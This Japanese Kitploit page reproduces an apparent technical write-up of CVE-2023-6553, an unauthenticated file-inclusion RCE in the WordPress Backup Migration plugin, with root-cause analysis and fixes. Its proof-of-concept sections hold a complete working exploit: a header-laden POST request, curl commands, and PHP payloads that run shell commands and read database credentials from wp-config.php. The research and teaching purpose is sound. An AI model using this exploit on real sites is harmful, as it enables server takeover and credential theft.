Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-6553 — CVE-2023-6553 の概念実証エクスプロイトと技術解説書です。これは、WordPress Backup Migration プラグイン <=1.3.7 において、リモートコード実行を可能にする未認証の PHP ファイルインクルード脆弱性に関するものです。 | Kitploit
ツール/GitHubGitHub/dungsocool/cve-2023-6553
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubdungsocool/cve-2023-6553

CVE-2023-6553

CVE-2023-6553 の概念実証エクスプロイトと技術解説書です。これは、WordPress Backup Migration プラグイン <=1.3.7 において、リモートコード実行を可能にする未認証の PHP ファイルインクルード脆弱性に関するものです。

リポジトリを見る
16日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-6553

RCEに至るPHPファイルインクルージョン — Backup Migration プラグイン

プラグイン: Backup Migration (backup-backup) ≤ 1.3.7

CVSS: 9.8 (Critical)

CWE: CWE-98 — Include/Requireステートメントにおけるファイル名の不適切な制御

認証要件: なし

影響: リモートコード実行(RCE)


1. この脆弱性とは何か?

Backup Migration は、ユーザーがバックアップを作成するのに役立つ、比較的人気のあるWordPressプラグインです(アクティブインストール数は約90,000以上)。バックアップ処理中、プラグインはバックグラウンドで backup-heart.php というファイルを実行しています。このファイルは、どのディレクトリをバックアップする必要があるか、設定ファイルがどこにあるかなどの設定情報をHTTPヘッダー経由で受け取ります。

問題は、このファイルがクライアントから送信されたHTTPヘッダーを完全に信頼し、ヘッダー値をそのままファイルパスに取り込み、そのパスから require_once() を使用してファイルを読み込むという点にあります。攻撃者は、悪意のあるPHPコードを含むディレクトリを指す Content-Dir ヘッダーを送信するだけで済みます → サーバーは自動的にそのファイルをインクルードして実行します。

注目すべき点は、backup-heart.php ファイルが認証を必要としないことです — リクエストメソッドがPOSTかどうかだけをチェックし、nonceやユーザー権限は一切検証しません。インターネット上の誰でもリクエストを送信できます。

⇒ これはゼロクリックの脆弱性です。

2. 背景知識

PHPにおけるファイルインクルージョン

PHPには、実行中のプログラムに他のPHPファイルをインクルードするための include()、require()、require_once() などの関数があります。これらの関数に渡されるファイルパスが、検証なしにユーザー入力から来る場合、攻撃者はサーバーに任意のファイルをインクルードさせることができます:

  • LFI(ローカルファイルインクルージョン): サーバー上に存在するファイルを読み込む — 例えば、PHPコードで「汚染」されたログファイルなど。
  • RFI(リモートファイルインクルージョン): 外部サーバーからファイルを読み込む — allow_url_include=On が必要(通常はデフォルトで無効)。

このCVEはLFIに分類されます — 攻撃者は require_once() に渡すパスを制御し、サーバー上に書き込んだPHPファイルを指し示します。

HTTPヘッダーはなぜ危険なのか?

多くの開発者は、HTTPヘッダーがサーバーとクライアントだけが知る「内部」のメタデータだと考えています。実際には、攻撃者がヘッダーの内容を100%制御できます — 任意のヘッダー名と値を設定できます。ヘッダーを信頼することはフォーム入力を信頼することと同じで、検証が必須です。

define() とPHP定数

define('NAME', $value) は、アプリケーション全体で使用される定数を作成します。一度 define されると、値は変更できません。$value が攻撃者由来の場合、その定数を使用するすべての場所が影響を受けます。

3. ソースコード分析 — 脆弱性はどこから生じるのか?

ステップ1: シンクの特定

まずgrepを使用して、プラグイン全体のすべての require および include 文を検索しました:

root@kitploit:~
grep -rn "require\|include" includes/

image.png

検索結果には多数のrequire/include呼び出しが含まれていました。確認したところ、ほとんどは banner/misc.php と banner/views/index.php 内の include_once 呼び出しで、これらはハードコードされたパスを持つ管理UIレンダリングコードに属しており、悪用は不可能です。

しかし、backup-heart.php の中の2行が目に留まりました:

root@kitploit:~
includes/backup-heart.php:64:   define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118:  require_once BMI_INCLUDES . '/bypasser.php';

118行目は定数 BMI_INCLUDES を require_once で使用しています — この定数がハードコードされていれば安全です。しかし64行目を見上げると、BMI_INCLUDES は別の定数 BMI_ROOT_DIR から構築されていることがわかりました。そこでさらに追跡が必要です:BMI_ROOT_DIR はどこで値が代入されるのでしょうか?

再度grepを使用して追跡しました:

root@kitploit:~
grep -n "BMI_ROOT_DIR" includes/backup-heart.php

結果:

image.png

root@kitploit:~
Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');

62行目は、BMI_ROOT_DIR が $fields['content-dir'] から値を取得することを示しています。これは固定値ではなく変数です — ファイルを開いて $fields が何を含むのか確認する必要があります。

ステップ2: ソースコードの調査 — $fieldsはどこから来るのか?

backup-heart.php をVS Codeで開き、62行目を確認しました:

root@kitploit:~
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);

// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

image.png

$fields['content-dir'] がそのまま define() に入っていることがはっきりと確認できます。次に、$fields 変数がどこで代入されているかを特定する必要があります:

root@kitploit:~
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    exit;
}

// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
    $fields= getallheaders();
}

// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
    $buffer= $value;
    unset($fields[$key]);
    $fields[strtolower($key)] = $value;
}

image.png

image.png

この時点で、根本原因は極めて明確になります:$fields は getallheaders() で取得したすべてのHTTPヘッダーを保持しており、クライアントが完全に制御できます。wp_verify_nonce() も current_user_can() も有効なパスのチェックもありません — POSTメソッドを検証するだけで、ヘッダーを直接読み込んでいます。

ステップ3: 攻撃フローの概要

root@kitploit:~
Attacker sends POST request with header Content-Dir: /path/to/attacker/
    ↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
    ↓
define('BMI_ROOT_DIR', "/path/to/attacker/")   ← no validation
    ↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
    ↓
require_once "/path/to/attacker/includes/bypasser.php"   ← executes PHP
    ↓
Attacker code runs with www-data privileges → RCE

根本原因のまとめ: HTTPヘッダー → define() → require_once()、その間に検証ステップは一切ありません。

ステップ4: Xdebugによるデバッグ

攻撃フローを視覚的に確認するために、Xdebug + VS Codeを使用しました。backup-heart.php の62行目と118行目に2つのブレークポイントを設定し、curlを使用してエクスプロイトリクエストを送信しました。

ブレークポイント1 — 62行目:

デバッガはまさに define('BMI_ROOT_DIR', $fields['content-dir']) のところで一時停止しました。Variablesパネルで $fields 変数を展開すると、22個の要素を持つ配列が表示されました — クライアントが送信したすべてのHTTPヘッダーが含まれています。具体的には:

  • content-dir = "/tmp/bmi/" — これはまさにヘッダー経由で送信された値で、直接 BMI_ROOT_DIR 定数に代入されます。
  • content-abs = "/var/www/html/"、content-configdir = "/tmp/bmi/"、content-backups = "/tmp/bmi/back..." — すべて攻撃者によって制御されています。

content-dir が define() に渡される前に、検証やフィルタリングのステップは一切適用されていません。

image.png

ブレークポイント2 — 118行目:

F5を押すと、デバッガは require_once BMI_INCLUDES . '/bypasser.php' で一時停止しました。その状態を確認します:

  • Variablesパネル: $fields は依然として content-dir = "/tmp/bmi/" を保持しています — 62行目と118行目の間で値が変更されていないことを証明しています。
  • Call Stackパネル: {main} backup-heart.php 118:1 と表示されています — コードはファイルの先頭からこの地点まで一直線に実行され、ミドルウェアや認証チェックをすべてバイパスしています。
  • 118行目は /tmp/bmi/includes/bypasser.php パスのファイルをインクルードしようとしています — その内容は攻撃者が制御しています。

image.png

デバッグの結果は、ステップ3で分析したフローを完璧に裏付けています:HTTPヘッダーは getallheaders() → define() → require_once() の流れで、間に検証は一切ありません。

4. 攻撃チェーン

ステップ1 — サーバーへのPHPファイルの配置

インクルードを発動させる前に、標的サーバー上にPHPファイルが既に存在している必要があります。一般的な手法は以下のとおりです:

手法概要
ログポイズニングUser-Agent内に <?php ... ?> を含むリクエストを送信 → コードがアクセスログに書き込まれる → ログファイルをインクルード

ステップ2 — 1回のPOSTリクエストによるインクルードの発動

Content-Dir をペイロードを含むディレクトリに向けたリクエストを送信します。サーバーは自動的に攻撃者のファイルを require して実行します。

root@kitploit:~
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/

backup-heart.php は他の define() 呼び出しでもこれらのヘッダーを使用するため、すべての Content-* ヘッダーを指定する必要があります — ヘッダーが欠落するとPHPの警告が発生し、require_once に到達する前に実行が中止される可能性があります。

5. PoC — ラボ環境でのエクスプロイト

5.1 エンドポイントが開いているか確認する

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" -X POST \
  "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"

200 が返ります — エンドポイントは公開されており、認証を求められません。

image.png

5.2 ペイロードファイルを作成する

require_once が探すディレクトリ構造 {Content-Dir}includes/bypasser.php を作成します:

root@kitploit:~
mkdir -p /tmp/bmi/includes

cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

image.png

5.3 エクスプロイトの送信 — RCE

root@kitploit:~
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
  -H "Content-Dir: /tmp/bmi/" \
  -H "Content-Abs: /var/www/html/" \
  -H "Content-Content: /var/www/html/wp-content/" \
  -H "Content-Configdir: /tmp/bmi/" \
  -H "Content-Backups: /tmp/bmi/backups/" \
  -H "Content-Safelimit: 1" \
  -H "Content-Browser: true" \
  -H "Content-Identy: 1" \
  -H "Content-Manifest: 1" \
  -H "Content-Rev: 1" \
  -H "Content-Name: test" \
  -H "Content-Start: 1" \
  -H "Content-Filessofar: 0" \
  -H "Content-Total: 1" \
  -H "Content-Bmitmp: /tmp/" \
  -H "Content-It: 1" \
  -H "Content-Dbit: 1" \
  -H "Content-Dblast: 1" \
  -H "Content-Url: http://localhost:8181/"

実行結果:

image.png

RCE成功 — サーバーが id コマンドを実行し、その出力を返します。

5.4 影響の実証 — データベース認証情報の読み取り

RCEを確認した後、攻撃者がサーバー上の機密情報を読み取れることを実証するためにペイロードを変更しました。ペイロードファイルの内容を wp-config.php を読み取るように変更します:

root@kitploit:~
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'

同じcurlエクスプロイトリクエストを再送信すると、出力にデータベース接続情報が返されます:

root@kitploit:~
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"

攻撃者は www-data がアクセス権限を持つ任意のファイル — wp-config.php、/etc/passwd、他のプラグインのソースコード — を読み取ることができ、攻撃対象領域が拡大します。

image.png

5.5 システム情報の収集

攻撃者がサーバーのシステム情報を収集できることを実証するために、さらにペイロードを変更します — 権限昇格や水平移動(ラテラルムーブメント)の助けになります:

root@kitploit:~
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'

curlエクスプロイトを送信 → 出力:

root@kitploit:~
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3

RCEEND

image.png

この出力から、攻撃者は以下を発見します:

  • カーネルバージョン — rootへの権限昇格に使えるカーネルエクスプロイトを見つけるために使用
  • 内部IP 172.18.0.3 — サーバーがDockerネットワーク内にあることを確認し、他のコンテナ(データベース、キャッシュなど)へのピボットを可能にする

6. 影響の深刻度

実際の影響

  • 90,000以上のサイトがこのプラグインを使用しています。
  • 攻撃者はエンドポイントへのPOSTリクエスト1回でプラグインの存在を確認できます — 200は存在、404は非存在を意味します。
  • 無効化されたプラグインでも悪用可能 — backup-heart.php はディスク上に残り、URLから直接アクセスできるためです。
  • RCE後、攻撃者は:データベースのダンプ、バックドアの設置、同一ネットワーク内の他のサーバーへのピボットが可能です。

7. 緩和策と是正措置

開発者が行うべきこと

ファイルパスの決定にHTTPヘッダーを使用しないでください。__DIR__ から導出した相対パスを使用します:

root@kitploit:~
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);

// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');

認可チェックを追加します — このエンドポイントを呼び出せるのはWordPress管理者のみにします:

root@kitploit:~
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
    die('Unauthorized');
}

WordPress管理者が行うべきこと

  1. 直ちにバージョン ≥ 1.3.8 に更新してください。
  2. 使用していない場合は、プラグインを完全に削除してください — ファイルがアクセス可能なまま残るため、無効化だけでは不十分です。
  3. backup-heart.php を標的とした不審なリクエストがないかアクセスログを確認してください。
  4. /wp-content/plugins/*/includes/*.php への直接POSTリクエストをブロックするWAFルールを実装してください。
ツールをダウンロード
属性値
CVE IDCVE-2023-6553
CVSSスコア9.8 (Critical)
プラグインbackup-backup (Backup Migration) ≤ 1.3.7
認証不要
ユーザー操作なし(ゼロクリック)
修正版バージョン 1.3.8
PHPセッション
/tmp/sess_xxx にあるセッションファイルにPHPコードを書き込む
アップロードチェーンWordPressのメディア/アバターアップロード機能を利用してファイルをアップロードする
プラグインエラーログプラグインが自身のエラーログを書き込む — PHPコードを含むエラーを発生させるとコードがログファイルに書き込まれる
CVSSメトリック値理由
攻撃元区分ネットワークHTTP経由
攻撃条件の複雑さ低POSTリクエスト1回、タイミングや特別な条件は不要
必要な特権レベル不要エンドポイントは認証を必要としない
ユーザー操作不要攻撃者主導、被害者の操作は不要
機密性への影響高任意のファイルを読み取り可能:wp-config.php、/etc/passwd、ソースコード
完全性への影響高任意のファイル書き込み、Webシェルの設置、データベースの改変
可用性への影響高ファイル削除、プロセス終了、サーバーの完全な乗っ取り